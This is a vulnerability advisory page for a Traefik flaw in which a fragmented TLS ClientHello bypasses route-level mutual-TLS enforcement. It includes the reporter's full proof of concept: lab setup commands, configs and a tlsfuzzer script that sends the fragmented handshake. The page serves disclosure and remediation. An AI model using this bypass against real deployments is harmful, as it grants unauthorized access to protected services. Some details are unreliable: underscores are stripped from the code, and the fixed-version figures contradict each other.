CVE-2026-32305: Traefik mTLS bypass via fragmented ClientHello SNI extraction failure

Published Mar 20, 2026
·
Updated

Summary

There is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets.

When a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary I found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config.

If the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config).

Details The vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello.

1. In router.go, ServeTCP function calls clientHelloInfo. 2. clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes. It runs a temporary TLS parse on those bytes to extract the SNI. If ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing). 4. clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive) 5. Real Go TLS handshake succeeds later without requiring the client cert. 6. Request is routed to the host that should have been protected.

Conditions required for impact: - Route-level TLS options enforce mTLS for a host. - Default TLS config is weaker (noClientCert, which is the default default). - Pre-sniff fails to extract SNI (due to fragmented ClientHello).

A workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config).

A suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation).

PoC python prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with "docker" instead of docker.io and podman will emulate it) sudo apt update sudo apt install -y docker.io openssl git python3 python3-venv sudo usermod -aG docker "$USER" in debian/ubuntu run newgrp docker to apply the new group to the user

mkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic} cd /tmp/traefik-frag-poc

CA openssl genrsa -out certs/ca.key 4096 openssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \ -subj "/CN=PoC-CA" -out certs/ca.crt

Server cert (whoami.home.arpa) cat > certs/server.cnf <<'EOFSERVERCNF' [req] distinguishedname = dn reqextensions = v3req prompt = no

[dn] CN = whoami.home.arpa

[v3req] subjectAltName = @altnames

[altnames] DNS.1 = whoami.home.arpa EOFSERVERCNF

openssl genrsa -out certs/traefik.key 2048 openssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf openssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/traefik.crt -days 365 -sha256 -extensions v3req -extfile certs/server.cnf

Client cert (valid client) openssl genrsa -out certs/client.key 2048 openssl req -new -key certs/client.key -subj "/CN=client1" -out certs/client.csr openssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/client.crt -days 365 -sha256

cat > config/traefik.yml <<'EOFTRAEFIKCFG' entryPoints: websecure: address: ":8443"

providers: file: directory: /etc/traefik/dynamic watch: true

log: level: DEBUG EOFTRAEFIKCFG

cat > config/dynamic/dynamic.yml <<'EOFDYNAMICCFG' http: routers: whoami: rule: "Host(whoami.home.arpa)" entryPoints: - websecure service: whoami tls: options: mtls

services: whoami: loadBalancer: servers: - url: "http://whoami:80"

tls: certificates: - certFile: /certs/traefik.crt keyFile: /certs/traefik.key

options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert EOFDYNAMICCFG

docker network create traefik-poc

run a whoami microservice for the bypass demonstration docker run -d \ --name whoami \ --network traefik-poc \ --restart unless-stopped \ traefik/whoami:v1.11.0

docker run -d \ --name traefik \ --network traefik-poc \ -p 8443:8443 \ --restart unless-stopped \ -v "$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z" \ -v "$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z" \ -v "$PWD/certs:/certs:ro,Z" \ traefik:3.6.10 \ --configFile=/etc/traefik/traefik.yml

watch traefik logs to ensure everything was deployed correctly docker logs traefik

tlsfuzzer setup + frag client script

mkdir -p /tmp/testtlsfuzz cd /tmp/testtlsfuzz git clone https://github.com/tlsfuzzer/tlsfuzzer.git cd tlsfuzzer

python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt

cat > fragclienthello.py <<'EOFFRAGSCRIPT' import argparse import sys import os

from tlsfuzzer.runner import Runner from tlsfuzzer.messages import ( Connect, SetMaxRecordSize, ClientHelloGenerator, CertificateGenerator, CertificateVerifyGenerator, ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, FinishedGenerator, ApplicationDataGenerator, AlertGenerator, ) from tlsfuzzer.expect import ( ExpectServerHello, ExpectCertificate, ExpectServerKeyExchange, ExpectCertificateRequest, ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, ExpectApplicationData, ExpectAlert, ExpectClose, ) from tlsfuzzer.helpers import SIGALL from tlslite.constants import ( CipherSuite, ExtensionType, AlertLevel, AlertDescription, GroupName, ) from tlslite.extensions import ( SNIExtension, TLSExtension, SupportedGroupsExtension, SignatureAlgorithmsExtension, SignatureAlgorithmsCertExtension, ) from tlslite.utils.keyfactory import parsePEMKey from tlslite.x509 import X509 from tlslite.x509certchain import X509CertChain

class PrettyExpectApplicationData(ExpectApplicationData): def process(self, state, msg): super().process(state, msg) text = msg.write().decode("utf-8", errors="replace") head, , body = text.partition("\r\n\r\n") print("\n=== HTTP RESPONSE ===") print(head) print() print(body) print("=== END HTTP RESPONSE ===\n")

def loadclientcertandkey(certpath, keypath): cert = None key = None

if certpath: textcert = open(certpath, "rb").read() if sys.versioninfo[0] >= 3: textcert = str(textcert, "utf-8") cert = X509() cert.parse(textcert)

if keypath: textkey = open(keypath, "rb").read() if sys.versioninfo[0] >= 3: textkey = str(textkey, "utf-8") key = parsePEMKey(textkey, private=True)

return cert, key

def main(): p = argparse.ArgumentParser() p.addargument("--connect-host", default="127.0.0.1") p.addargument("--port", type=int, default=8443) p.addargument("--sni", default="whoami.home.arpa") p.addargument("--record-size", type=int, default=512) p.addargument("--padding-len", type=int, default=1200) p.addargument("--expect-cert-request", action="storetrue") p.addargument("--client-cert-pem", default="") p.addargument("--client-key-pem", default="") args = p.parseargs()

cert, key = loadclientcertandkey(args.clientcertpem, args.clientkeypem)

print(f"[DBG] certarg={args.clientcertpem!r} keyarg={args.clientkeypem!r}") for p in [args.clientcertpem, args.clientkeypem]: if p: print(f"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}")

print(f"[DBG] certloaded={cert is not None} keyloaded={key is not None}") print(f"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}")

if (args.clientcertpem or args.clientkeypem) and not (cert and key): raise ValueError("Provide both --client-cert-pem and --client-key-pem")

conv = Connect(args.connecthost, args.port) node = conv node = node.addchild(SetMaxRecordSize(args.recordsize))

ext = { ExtensionType.servername: SNIExtension().create(bytearray(args.sni, "ascii")), ExtensionType.supportedgroups: SupportedGroupsExtension().create( [GroupName.secp256r1, GroupName.ffdhe2048] ), ExtensionType.signaturealgorithms: SignatureAlgorithmsExtension().create(SIGALL), ExtensionType.signaturealgorithmscert: SignatureAlgorithmsCertExtension().create(SIGALL), 21: TLSExtension().create(21, bytearray(args.paddinglen)), }

ciphers = [ CipherSuite.TLSECDHERSAWITHAES128GCMSHA256, CipherSuite.TLSECDHERSAWITHAES128CBCSHA, CipherSuite.TLSDHERSAWITHAES128CBCSHA, CipherSuite.TLSEMPTYRENEGOTIATIONINFOSCSV, ]

node = node.addchild(ClientHelloGenerator(ciphers, extensions=ext)) node = node.addchild(ExpectServerHello()) node = node.addchild(ExpectCertificate()) node = node.addchild(ExpectServerKeyExchange())

if args.expectcertrequest: node = node.addchild(ExpectCertificateRequest())

node = node.addchild(ExpectServerHelloDone())

if args.expectcertrequest and cert and key: node = node.addchild(CertificateGenerator(X509CertChain([cert]))) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(CertificateVerifyGenerator(key)) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()

elif args.expectcertrequest and not (cert and key): node = node.addchild(CertificateGenerator()) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished())

else: node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()

try: Runner(conv).run() print("[OK] conversation completed") except AssertionError as e: print(f"[TLS RAW ERROR] {e}") marker = "Unexpected message from peer: " s = str(e) if marker in s: print(f"[TLS PEER MESSAGE] {s.split(marker, 1)[1].strip()}") raise

if name == "main": main() EOFFRAGSCRIPT

chmod +x fragclienthello.py cd /tmp/testtlsfuzz/tlsfuzzer source .venv/bin/activate

case 1: non fragmented, no client cert (strict mTLS path, should fail. traefik logs should inform that client didn't provide a certificate) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request

case 1b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient \ -connect 127.0.0.1:8443 \ -servername whoami.home.arpa \ -tls12 \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt \ -state -msg -tlsextdebug -verifyreturnerror

case 2: non fragmented, with valid client cert (should succeed) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request \ --client-cert-pem /tmp/traefik-frag-poc/certs/client.crt \ --client-key-pem /tmp/traefik-frag-poc/certs/client.key

case 2b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient -connect 127.0.0.1:8443 -servername whoami.home.arpa -tls12 \ -cert /tmp/traefik-frag-poc/certs/client.crt \ -key /tmp/traefik-frag-poc/certs/client.key \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt -quiet

case 3 fragmented ClientHello, no client cert (bypass behavior test) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 500 in the record-size you can play with it as long as the client hello sni sniff function returns an EOF

Impact An attacker can bypass route-level mTLS enforcement by fragmenting ClientHello so Traefik pre-sniff fails (EOF) and falls back to default permissive TLS config.

</details>

--

Other sources

Traefik is an HTTP reverse proxy and load balancer. Versions 2.11.40 and below, 3.0.0-beta1 through 3.6.11, and 3.7.0-ea.1 are vulnerable to mTLS bypass through the TLS SNI pre-sniffing logic related to fragmented ClientHello packets. When a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication. This issue is patched in versions 2.11.41, 3.6.11 and 3.7.0-ea.2.

MITRE

Affected Software

8 affected componentsFixes available
Traefik Labs Traefik<=2.11.40, >=3.0.0-beta1<=3.6.11, =3.7.0-ea.1
go/github.com/traefik/traefik<=1.7.34
go/github.com/traefik/traefik/v2<=2.11.40
2.11.41
go/github.com/traefik/traefik/v3<=3.6.10
3.6.11
go/github.com/traefik/traefik/v3>=3.7.0-ea.1<3.7.0-ea.2
3.7.0-ea.2
Traefik traefik<2.11.41
Traefik traefik>=3.0.0<=3.6.11
Traefik traefik=3.7.0-ea1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/traefik/traefik/v2 to a version that resolves this vulnerability.

    Fixed in 2.11.41
  2. Upgrade

    Upgrade go/github.com/traefik/traefik/v3 to a version that resolves this vulnerability.

    Fixed in 3.6.11
  3. Upgrade

    Upgrade go/github.com/traefik/traefik/v3 to a version that resolves this vulnerability.

    Fixed in 3.7.0-ea.2
  4. Upgrade

    Upgrade traefik to a version that resolves this vulnerability.

    Fixed in 2.11.41
  5. Upgrade

    Upgrade traefik to a version that resolves this vulnerability.

    Fixed in 3.6.11
  6. Upgrade

    Upgrade traefik to a version that resolves this vulnerability.

    Fixed in 3.7.0-ea.2
  7. Configuration

    Set Traefik’s default TLS config from permissive NoClientCert to RequireAndVerifyClientCert (so client certificates are required and verified even when pre-sniff fails).

    Traefik TLS options (default TLS config) clientAuthType = RequireAndVerifyClientCert
  8. Configuration

    For any routes/hosts that must remain permissive, explicitly define a TLS option with NoClientCert for those hosts, since the default is changed to RequireAndVerifyClientCert.

    Traefik TLS options (permissive host override) clientAuthType = NoClientCert

Event History

Mar 20, 2026
CVE Published
via MITRE·10:01 AM
Data Sourced
via MITRE·10:01 AM
DescriptionWeakness
Data Sourced
via Red Hat·11:03 AM
DescriptionSeverityAffected Software
Data Sourced
via NVD·11:18 AM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·03:43 PM
Data Sourced
via GitHub·03:43 PM
DescriptionWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-32305?

CVE-2026-32305 is considered a high-severity vulnerability due to its potential to allow mTLS bypass.

2

How do I fix CVE-2026-32305?

To fix CVE-2026-32305, upgrade Traefik to version 2.11.41 or later, or to version 3.6.12 or later.

3

What versions of Traefik are affected by CVE-2026-32305?

CVE-2026-32305 affects Traefik versions 2.11.40 and below, as well as 3.0.0-beta1 through 3.6.11, and 3.7.0-ea.1.

4

What is the nature of the vulnerability described in CVE-2026-32305?

CVE-2026-32305 is a vulnerability that allows mTLS bypass due to fragmented ClientHello SNI extraction failure.

5

What is the impact of exploiting CVE-2026-32305?

Exploitation of CVE-2026-32305 could lead to unauthorized access to services that require mutual TLS authentication.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203